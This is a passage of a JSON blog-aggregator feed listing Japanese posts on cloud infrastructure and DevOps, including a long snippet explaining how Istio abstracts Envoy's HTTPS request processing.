Sans\';font-size:6.6pt;font-weight:bold;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;top:3.3pt;}.cl-9f135988{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:bold;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;bottom:3.3pt;}.cl-9f135989{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:normal;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f135992{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;top:3.3pt;}.cl-9f168324{margin:0;text-align:left;border-bottom: 0 solid rgba(0, 0, 0, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);padding-bottom:5pt;padding-top:5pt;padding-left:5pt;padding-right:5pt;line-height: 1;background-color:transparent;}.cl-9f1690b2{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 1.5pt solid rgba(102, 102, 102, 1.00);border-top: 1.5pt solid rgba(102, 102, 102, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}.cl-9f1690bc{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 0 solid rgba(0, 0, 0, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}.cl-9f1690bd{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 1.5pt solid rgba(102, 102, 102, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}x","isoDate":"2024-03-01T00:00:00.000Z","dateMiliSeconds":1709251200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud Managed Service for Prometheusでprismaメトリクスを可視化してみた","link":"https://speakerdeck.com/kojake_300/google-cloud-managed-service-for-prometheusteprismametorikusuwoke-shi-hua-sitemita","contentSnippet":"","isoDate":"2024-02-29T05:00:00.000Z","dateMiliSeconds":1709182800000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Reckoner の Scala プロジェクトにおける オブザーバビリティの取り組み / Observability Initiatives in Reckoner\'s Scala Project","link":"https://speakerdeck.com/nomadblacky/reckoner-no-scala-puroziekutoniokeru-obuzababiriteinoqu-rizu-mi","contentSnippet":"2024/02/27 Scalaわいわい勉強会 #2\\rhttps://scala-tokyo.connpass.com/event/307069/","isoDate":"2024-02-27T05:00:00.000Z","dateMiliSeconds":1709010000000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"Azure Container Apps Jobs を Self-hosted GitHub Actions Runner として使う","link":"https://blog.1q77.com/2024/02/container-apps-jobs-self-hosted-github-actions-runner/","contentSnippet":"GitHub Actions の Self-hosted Runner を安く用意する方法を探していたところ、 Azure の Container Apps Jobs というのが便利に使えるらしいというのを見つけたので試してみる。 チュートリアル:Az","isoDate":"2024-02-23T10:05:41.000Z","dateMiliSeconds":1708682741000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Terraform workspace使って思ったこと","link":"https://sreake.com/blog/terraform-workspace/","contentSnippet":"背景 そこまで大きな案件でもなく、 環境間の差分もあまりなさそうだったため 何より使ったことないから試してみようっていう好奇心 ある案件にて上記の理由から、Terraform workspaceを採用しました。 今回は、 […]The post Terraform workspace使って思ったこと first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-02-18T14:28:59.000Z","dateMiliSeconds":1708266539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"アーキテクチャから学ぶKubernetesの全体像","link":"https://speakerdeck.com/bells17/akitekutiyakaraxue-hukubernetesnoquan-ti-xiang","contentSnippet":"Developers Summit(デブサミ)2024で登壇したセッションの資料です。\\r\\r- https://event.shoeisha.jp/devsumi/20240215\\r- https://event.shoeisha.jp/devsumi/20240215/session/4777\\r\\rセッション解説記事:\\rhttps://codezine.jp/article/detail/19131","isoDate":"2024-02-15T05:00:00.000Z","dateMiliSeconds":1707973200000,"authorName":"bells17","authorId":"bells17"},{"title":"個人開発でWebアプリの開発とデプロイの流れ","link":"https://kechigon.hatenablog.com/entry/2024/02/13/125853","contentSnippet":"個人でWebサービスを開発したいけど、どのような流れで作っていけばいいのかわからない方向けです。個人開発でWebアプリを開発、デプロイをしたのでその流れを共有したいと思います。作ったもの麻雀戦績管理アプリ名付けて「PungPals」。雀荘などのオフラインでの対戦結果を残し、個人成績やランキングを確認できます。pungpals-service-xstpolfd4q-an.a.run.app開発とデプロイの流れ1.要件定義、設計実装がスムーズに進むために、しっかりとしておきましょう。以前記事を書いたので、参考にしてください。kechigon.hatenablog.com2.技術選定今回作ったアプリケーションはDjangoで開発し、Cloud Runにデプロイしています。選定理由は、Django: 経験があるから。Cloud Run: Djangoアプリのデプロイ方法の公式ドキュメントがあった(後ほど説明します)、マネージドな部分とカスタムできる部分のバランスがちょうどよかったから。でした。以下これらの技術を使って、開発デプロイまでの流れを説明していきます。3.Djangoを使ってアプリケーションを作成Djangoにはチュートリアルがあり、はじめての Django アプリ作成、その 1 | Django ドキュメント | Djangoはじめての Django アプリ作成、その2 | Django ドキュメント | Djangoはじめての Django アプリ作成、その 3 | Django ドキュメント | Djangoはじめての Django アプリ作成、その 4 | Django ドキュメント | Djangoを読めば開発方法がわかると思います。環境構築をし、実装し、ローカルで動作確認をしながら開発していきます。4.Cloud run へのデプロイDjangoアプリのCloud runへのデプロイ方法は公式ドキュメントにまとめられているので、これを見ながら進めます。cloud.google.comDjangoアプリケーションを環境に合わせて設定した後コンテナ化し、Cloud Runに載せます。それに伴い、Cloud SQL(データベース)、Secret Manager(シークレット管理)、Cloud Storage(静的アセットの保存など)、Cloud Build(CI/CD)、Artifact Registry(コンテナレジストリ)の作成、設定も行います。ドキュメントではGCRを使っていますが、現在非推奨なので、Artifact Registryをコンテナレジストリとして使用します。cloud.google.comオプションですが、GCPへのリソースの作成はTerraformを利用すると、構成管理ができ便利です。作成するインフラの図以上のことを行った後のGitHubリポジトリPungPalsのコードは公開しているので、参考にしていただければと思います。github.comこれから今後は、運用面の課題解決や集客などを行っていく予定なので、ブログにしていくつもりです!","isoDate":"2024-02-13T03:58:53.000Z","dateMiliSeconds":1707796733000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"フロントエンドで収集するべきテレメトリは何か","link":"https://zenn.dev/kimitsu/articles/frontend-and-telemetry","contentSnippet":"先日『フロントエンド監視の全体像と実現方法』という記事を投稿しましたが、その中でテレメトリについては触れませんでした(※本記事は上記記事の内容を知らなくても読み進められるようになっています)。というのは、テレメトリは可観測性を実現するための重要な概念ではあるものの、テレメトリを軸に監視を考えるのは手段の目的化になってしまうと考えているからです。重要なのはサービスにとって何を観測するべきかを考えることであり、テレメトリはそれを設計や実装に落とし込む際に現れるものです。一方で監視に対する理解を深める上では、テレメトリを軸に考えることも重要でしょう。そこで本記事ではフロントエンド監視に...","isoDate":"2024-02-11T01:40:25.000Z","dateMiliSeconds":1707615625000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"フロントエンド監視の全体像と実現方法","link":"https://zenn.dev/kimitsu/articles/frontend-monitoring","contentSnippet":"必要性フロントエンドの監視はバックエンドやインフラのそれらと比べ、優先度が低くなりがちです。バックエンドやインフラでの障害はサービス継続に直結するため、これは当然と言えば当然なのですが、別の理由もあると考えています。それは計算リソースをサービス提供側が管理していないことです。例えばアプリケーションがインフラとして AWS を利用しているなら、AWS のリソースを管理するのはサービス提供側です。これは AWS 以外のクラウドサービスプロバイダやオンプレであっても同様です。一方でフロントエンドはエンドユーザのブラウザ上で動作し、これを管理しているのはエンドユーザです。フロン...","isoDate":"2024-02-09T09:46:56.000Z","dateMiliSeconds":1707472016000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"OWASP Top 10 for Large Language Model Applications をまとめる","link":"https://sreake.com/blog/owasp-top-10-for-llm-application/","contentSnippet":"はじめに Sreake 事業部インターン生の中林です。私は、Sreake 事業部長期インターン生として SRE 技術の技術検証を行っています。 今回は、Sreake 事業部で作成している LLM アプリケーションに対する […]The post OWASP Top 10 for Large Language Model Applications をまとめる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-02-05T09:29:32.000Z","dateMiliSeconds":1707125372000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDB ManagedのAlways Free枠を試そう","link":"https://zenn.dev/nnaka2992/articles/play_with_yugabytedb_managed_sandbox","contentSnippet":"YugabyteDB Managedにフリートライアルがあるのは知っていたのですが、期間が限られたものしか無いと思っていました。YugabyteDBについて調べごとをしていたら機能制限はあるもののSandboxクラスターというクレジットカード登録すら不要でAlways Freeな利用枠があることを知りました。いままでローカルでYugabyteDBを建てたりminikube上で遊んでいたのですが、簡単な検証であればSandboxクラスターで十分です。この記事ではそんなYugabyteDB ManagedのSandboxクラスターを紹介します。 Sandbox Clusterの制限...","isoDate":"2024-02-04T15:02:28.000Z","dateMiliSeconds":1707058948000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"renovate で CircleCI の terraform_version を更新する","link":"https://blog.1q77.com/2024/02/update-terraform-version-in-circleci-with-renovate/","contentSnippet":"Circle CI の terraform Orb で terraform の version を指定するには次のようにしますが、この terraform_version の値に変数を 使うことが出来ず、tf ファイルや .tool-versions から読み出した値を使うことが出来ませ","isoDate":"2024-02-04T10:37:36.000Z","dateMiliSeconds":1707043056000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Controllerを作ってみよう~ Kubernetes Controllerハンズオン ~","link":"https://speakerdeck.com/bells17/controllerwozuo-tutemiyou-kubernetes-controllerhansuon","contentSnippet":"イベントURL: https://k8s-novice-jp.connpass.com/event/300442/\\r参考リポジトリ: https://github.com/bells17/k8s-controller-example\\r\\rその他リンク:\\r\\rhttps://github.com/kubernetes/sample-controller\\rhttps://github.com/kubernetes/kubernetes/blob/v1.29.1/pkg/controller/clusterroleaggregation/clusterroleaggregation_controller.go\\rhttps://github.com/kubernetes/client-go/tree/v12.0.0\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/reflector.go\\rhttps://github.com/kubernetes/client-go/tree/v12.0.0/informers\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/store.go\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/delta_fifo.go\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/util/workqueue/rate_limiting_queue.go","isoDate":"2024-01-30T05:00:00.000Z","dateMiliSeconds":1706590800000,"authorName":"bells17","authorId":"bells17"},{"title":"Mac に Homebrew で docker pluings をインストールする","link":"https://blog.1q77.com/2024/01/install-docker-plugins-on-mac/","contentSnippet":"Docker Desktop for Mac であれば何もしなくても docker compose コマンドは使えるようになっているのですが、Lima で docker を使っている場合などで Homebrew で docker をインストールしていると","isoDate":"2024-01-26T12:36:56.000Z","dateMiliSeconds":1706272616000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介","link":"https://sreake.com/blog/google-cloud-cost-checker-agent/","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、” […]The post Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-25T02:17:39.000Z","dateMiliSeconds":1706149059000,"authorName":"Sreake","authorId":"Sreake"},{"title":"限定公開のGKE上でセキュアなGithub Actionsのrunnerを構築","link":"https://zenn.dev/kojake_300/articles/7be501d3fc4e72","contentSnippet":"モチベーションGithub Actionsのセルフホストランナーでは、long pollingによりrunner側でingressのfirewallを設定せずにrunnerをデプロイ出来るというのを最近知ったので、GKEで検証していこうと思います。 構成ざっくりですがこんな感じ。GKEは限定公開のクラスタとして構築し、踏み台サーバからGKEにリクエストを送ります。Github Actionsとの通信のためにVPCにはCloud NATをアタッチします。 前提条件terraformで構築するため、予めインストールしておくこと。(検証はv1.0.0) 構築手順...","isoDate":"2024-01-24T11:08:37.000Z","dateMiliSeconds":1706094517000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"K8sGPT: Prometheus Analyzers","link":"https://zenn.dev/tozastation/articles/71015cc5b95b4e","contentSnippet":"v0.3.26 からPrometheus の Analyzer がリリースされましたデモ映像はこちらhttps://github.com/k8sgpt-ai/k8sgpt/pull/855本PR作成者の Daniel Clark さんは Google の方 (2024/01/18時点)で,prometheus-engine (Cloud Managed Service for Prometheus (GMP)) に多くのコントリビューションをされています. 先にまとめPrometheus Analyzer には現在二つの機能が含まれるConfig Analyzer ...","isoDate":"2024-01-23T03:00:00.000Z","dateMiliSeconds":1705978800000,"authorName":"tozastation","authorId":"tozastation"},{"title":"openssl s_client で SMTP 認証","link":"https://blog.1q77.com/2024/01/smtp-auth-plain-with-openssl-command/","contentSnippet":"Amazon SES で SMTP を使ってメール送信したい場合、IAM User の credentials をちょいと加工してやる必要があります。 Amazon SES SMTP 認証情報を取得 これで、変換した値が正しいことを","isoDate":"2024-01-23T02:44:23.000Z","dateMiliSeconds":1705977863000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"PR-Agentとその類似システムの解説","link":"https://sreake.com/blog/pr-agent-and-similar-systems/","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。そのようなコードレビューの作業に対し、今日ではLLMを使用したレビュー用のツールが開発されています。今回はそのレビューツールの一つであるPR-Agentを中心に […]The post PR-Agentとその類似システムの解説 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-18T09:38:27.000Z","dateMiliSeconds":1705570707000,"authorName":"Sreake","authorId":"Sreake"},{"title":"【Istio⛵️】Istioによって抽象化されるEnvoyのHTTPSリクエスト処理の仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2024/01/16/013404","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのサイドカーメッシュを題材にしたEnvoyの設定の抽象化について様々なサービスメッシュツール (特に、Istio、Consul、Ciliumなど) でも流用できるEnvoyの知識についてこの記事から得られる知識01. はじめに02. 様々なリソースによるEnvoy設定の抽象化サービスメッシュ外からのHTTPSマイクロサービス間のHTTPSサービスメッシュ外へのHTTPS03. istio-proxyコンテナによるHTTPS処理Istioコントロールプレーンの仕組みサービスメッシュ外からのHTTPSマイクロサービス間のHTTPSサービスメッシュ外へのHTTPS04. EnvoyによるHTTPS処理Envoyの設定の種類フィルターフィルターの一覧フィルターチェーンの仕組み05. リソースの設定からEnvoy設定への翻訳各リソースとEnvoyの設定の関係一覧サービスメッシュ外からのHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめるマイクロサービス間のHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめるサービスメッシュ外へのHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめる06. 翻訳されたEnvoy設定値を見てみるEnvoyの現在の設定を出力するリスナーを出力するルートを出力するクラスターを出力するエンドポイントを出力する証明書を出力するサービスメッシュ外からのHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod側のistio-proxyコンテナマイクロサービス間のHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod側のistio-proxyコンテナサービスメッシュ外へのHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod (Istio EgressGateway Pod) 側のistio-proxyコンテナ07. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、俺 (REMIX) feat. Istioニキ a.k.a. いすてぃ男です。Istioは、Envoyを使用したサービスメッシュを実装します。IstioがKubernetesリソースやIstioカスタムリソースに基づいてEnvoyの設定を抽象化してくれるため、開発者はEnvoyをより簡単に設定できます。Envoyの設定の抽象化は、Envoyを使用したサービスメッシュ (例:Istioサイドカーメッシュ/アンビエントメッシュ、Consul、Istioから得られた学びを土台に登場したCiliumサイドカーフリーメッシュなど) に共通しています。つまり、次々に登場するEnvoyによるサービスメッシュツールに振り回されないようにするためには、ツールがどのようにEnvoyを抽象化するのかを理解しておく必要があります。そこで今回は、IstioサイドカーメッシュがEnvoyのHTTPSリクエストの処理をどのように抽象化するのかを解説します。また、抽象化されたEnvoyがHTTPSリクエストを処理する仕組みも一緒に解説します。これらの知識は、様々なサービスメッシュツールで流用できるはずです。それでは、もりもり布教していきます\uD83D\uDE1702. 様々なリソースによるEnvoy設定の抽象化まずは、どのようなリソースがHTTPSリクエストの処理に関係しているのかを、HTTPSリクエストの方向に分けて解説していきます。istio-proxyコンテナやEnvoyについては、次章以降で解説します。サービスメッシュ外からのHTTPSサービスメッシュ外から内にHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。flowchart TD 送信元 -.->|HTTPS| Gateway Gateway([⛵️ Gateway]) -.-> VirtualService VirtualService([⛵️ VirtualService]) -.-> DestinationRule DestinationRule([⛵️ DestinationRule]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class Gateway,VirtualService,DestinationRule,Service,Endpoints blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。クライアントは、サービスメッシュ外からL7ロードバランサーにHTTPSリクエストを送信します。L7ロードバランサーは、Istio IngressGateway PodにHTTPSリクエストを送信します。もちろん、クラスター外からIstio IngressGateway PodにHTTPリクエストを送信するために、Service (例:NodePort Service) が必要です。Istio IngressGateway Podは、宛先Podとの間で相互TLS認証を実施します。Istio IngressGateway Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) に応じて、HTTPSリクエストを宛先PodにL7ロードバランシングします。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineeringマイクロサービス間のHTTPSサービスメッシュ内のPodから別のPodにHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。flowchart TD 送信元 -.->|HTTPS| VirtualService VirtualService([⛵️ VirtualService]) -.-> DestinationRule DestinationRule([⛵️ DestinationRule]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class VirtualService,DestinationRule,Service,Endpoints blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。送信元Podは、宛先Podとの間で相互TLS認証を実施します。送信元Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) の設定に応じて、HTTPSリクエストを宛先PodにL7ロードバランシングします。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blog▶︎ サービスメッシュ内のPod間通信にkube-proxyは必要なのかistio-initコンテナは、istio-iptablesコマンドを実行し、iptablesのルールを書き換えます (本記事3章参照) 。これにより、送信元Podから宛先Podに直接通信できるようになります。Tracing network path in Istio. Istio is among the most widely used… | by Bikram Gupta | Mediumサービスメッシュ外へのHTTPSサービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) にHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。複数のVirtualServiceとDestinationが登場するため、これらには便宜上 X と Y をつけています。flowchart TD 送信元 -.->|HTTPS| VirtualServiceX VirtualServiceX([⛵️ VirtualService X]) -.-> DestinationRuleX DestinationRuleX([⛵️ DestinationRule X]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.-> Gateway Gateway([⛵️ Gateway]) -.-> VirtualServiceY VirtualServiceY([⛵️ VirtualService Y]) -.-> DestinationRuleY DestinationRuleY([⛵️ DestinationRule Y]) -.-> ServiceEntry ServiceEntry([⛵️ ServiceEntry]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class Gateway,VirtualServiceX,VirtualServiceY,DestinationRuleX,DestinationRuleY,Service,Endpoints,ServiceEntry blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。送信元Podは、HTTPSリクエストの宛先がServiceEntryでエントリ済みか否かの設定に応じて、HTTPSリクエストの宛先を切り替えます。宛先がエントリ済みであれば、送信元PodはHTTPSリクエストの宛先にIstio EgressGateway Podを選択します。宛先が未エントリであれば、送信元PodはHTTPSリクエストの宛先に外のシステムを選択します。送信元Podは、Istio EgressGateway Podとの間で相互TLS認証を実施します。(1) で宛先がエントリ済であったとします。送信元Podは、HTTPSリクエストの向き先をIstio EgressGateway Podに変更します。送信元Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) の設定に応じて、Istio EgressGateway PodにL7ロードバランシングします。Istio EgressGateway Podは、HTTPSリクエストをエントリ済システムにL7ロードバランシングします。Using Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio▶︎ Istio EgressGatewayの必要性についてistio-proxyコンテナを経由せずに外部システムに直接HTTPSリクエストを送信できるようになってしまい、システムの安全性が低くなります。他に、サービスメッシュ外への特定の通信を識別できるようになるメリットもあります。Istio / Accessing External ServicesIstioldie 1.10 / Egress Gateway Performance Investigation03. istio-proxyコンテナによるHTTPS処理前章では、KubernetesリソースやIstioカスタムリソースによって抽象化されたEnvoyまで言及しませんでした。本章では、解説をもう少し具体化します。Istioは、Envoyプロセスを持つistio-proxyコンテナを作成します。このistio-proxyコンテナを使用してどのようにHTTPSリクエストを処理しているのかを、HTTPSリクエストの方向に分けて解説します。Envoyの設定については、次章以降で解説します。Istioコントロールプレーンの仕組みEnvoyの設定を抽象化する責務を担うのは、Istioコントロールプレーン (discoveryコンテナ) です。Istioコントロールプレーンは異なる責務を担う複数のレイヤーから構成されています。レイヤー名 責務 Config ingestionレイヤー kube-apiserverからKubernetesリソースやIstioカスタムリソースの設定を取得します。Istioの初期から名前は変わっていません。 Config translationレイヤー リソースの設定をEnvoy設定に変換します。Istioの初期ではConfig Data Modelレイヤーという名前で、執筆時点 (2024/01/16) で名前が変わっています。 Config servingレイヤー Envoyの設定や証明書をPod内のistio-proxyコンテナに配布します。Istioの初期では、Proxy Servingレイヤーという名前で、執筆時点 (2024/01/16) で名前が変わっています。 図中の番号に沿って、Istioコントロールプレーンの仕組みを解説します。Config ingestionレイヤーにて、 Istioコントロールプレーンはkube-apiserverにHTTPSリクエストを送信します。ここで、KubernetesリソースやIstioカスタムリソースの設定を取得します。Config translationレイヤーにて、取得したリソースの設定をEnvoyの設定に変換します。Config servingレイヤーにて、Envoyの設定や証明書をPod内のistio-proxyコンテナに配布します。双方向ストリーミングRPCのため、istio-proxyコンテナがConfig servingレイヤーにリクエストを送信し、これらを取得することもあります。istio/architecture/networking/pilot.md at 1.20.2 \xb7 istio/istio \xb7 GitHub一文带你彻底厘清 Isito 中的证书工作机制-赵化冰的博客 | Zhaohuabing Blog▶︎ Config servingレイヤーにあるXDS-APIについて▶︎ Istioカスタムリソースのコントローラーについてistio/architecture/networking/pilot.md at 1.20.2 \xb7 istio/istio \xb7 GitHubサービスメッシュ外からのHTTPSサービスメッシュ外から内にHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。クライアントは、サービスメッシュ外からL7ロードバランサーにHTTPSリクエストを送信します。L7ロードバランサーは、Istio IngressGateway PodにHTTPSリクエストを送信します。もちろん、クラスター外からIstio IngressGateway PodにHTTPリクエストを送信するために、Service (例:NodePort Service) が必要です。Istio IngressGateway Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナに送信します (リダイレクトは不要)。Istio IngressGateway Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。Istio IngressGateway Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。宛先Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先マイクロサービスに送信します。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineering▶︎ Pod内のiptablesについてistio-proxyコンテナを経由するように、istio-proxyコンテナにリクエストをリダイレクトします。iptablesのルールを書き換えるのはistio-initコンテナです。Istioは、istio-proxyコンテナと同じタイミングで、istio-initコンテナをPodにインジェクションします (Istio IngressGatewayとIstio EgressGatewayのPodは除きます)。画像引用元:SoByteistio-initコンテナは、istio-iptablesコマンドを実行し、iptablesのルールを書き換えます。また、istio-initコンテナはルールを書き換えた後に終了するため、Podの起動後にPod内に残りません\uD83D\uDC4D\uD83C\uDFFB$ istio-iptables \\\\ -p 15001 \\\\ -z 15006 \\\\ -u 1337 \\\\ -m REDIRECT \\\\ -i * \\\\ -x \\\\ -b * \\\\ -d 15090,15020Sidecar injection, transparent traffic hijacking, and routing process in Istio explained in detail | by Jimmy Song | MediumIstio / pilot-agent▶︎ Istio IngressGateway Pod内のiptablesについてistio-proxyコンテナにリクエストをリダイレクトする必要がありません。そのため、Istioはiptablesのルールを書き換えるistio-initコンテナをIstio IngressGateway Podにインジェクションしません。つまり、Istio IngressGateway Pod内のiptablesのルールはデフォルトのままになっています\uD83D\uDC4D\uD83C\uDFFBマイクロサービス間のHTTPSサービスメッシュ内のPodから別のPodにHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。送信元Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。送信元Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。送信元Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。宛先Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先マイクロサービスに送信します。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blogサービスメッシュ外へのHTTPSサービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) にHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。送信元Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。送信元Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。この時、ServiceEntryで宛先がエントリ済みか否かに応じて、HTTPSリクエストの宛先を切り替えます。宛先がエントリ済みであれば、istio-proxyコンテナはHTTPSリクエストの宛先にIstio EgressGateway Podを選択します。宛先が未エントリであれば、istio-proxyコンテナはHTTPSリクエストの宛先に外のシステムを選択します。ここでは、宛先がエントリ済であったとします。送信元Pod内のistio-proxyコンテナは、HTTPSリクエストをIstio EgressGateway PodにL7ロードバランシングします。Istio EgressGateway Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナに送信します (リダイレクトは不要)。Istio EgressGateway Pod内のistio-proxyコンテナは、HTTPSリクエストをエントリ済システムにL7ロードバランシングします。▶︎ Istio EgressGateway Pod内のiptablesについてistio-proxyコンテナにリクエストをリダイレクトする必要がありません。そのため、Istioはiptablesのルールを書き換えるistio-initコンテナをIstio EgressGateway Podにインジェクションしません。つまり、Istio EgressGateway Pod内のiptablesのルールはデフォルトのままになっています\uD83D\uDC4D\uD83C\uDFFBUsing Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio04. EnvoyによるHTTPS処理前章では、istio-proxyコンテナ内のEnvoyの設定まで、言及しませんでした。本章では、もっと具体化します。EnvoyがHTTPSリクエストを処理する仕組みを解説します。Envoyの設定の種類HTTPSリクエストを処理する場合、Envoyの設定が以下の順で紐付き、HTTPSリクエストを送信元から宛先まで届けます。flowchart TD 送信元 -.->|HTTPS| リスナー リスナー(リスナー) -.-> リスナーフィルター subgraph \\"\\" リスナーフィルター(リスナーフィルター) -.-> ネットワークフィルター ネットワークフィルター(ネットワークフィルター) -.-> HTTPフィルター end 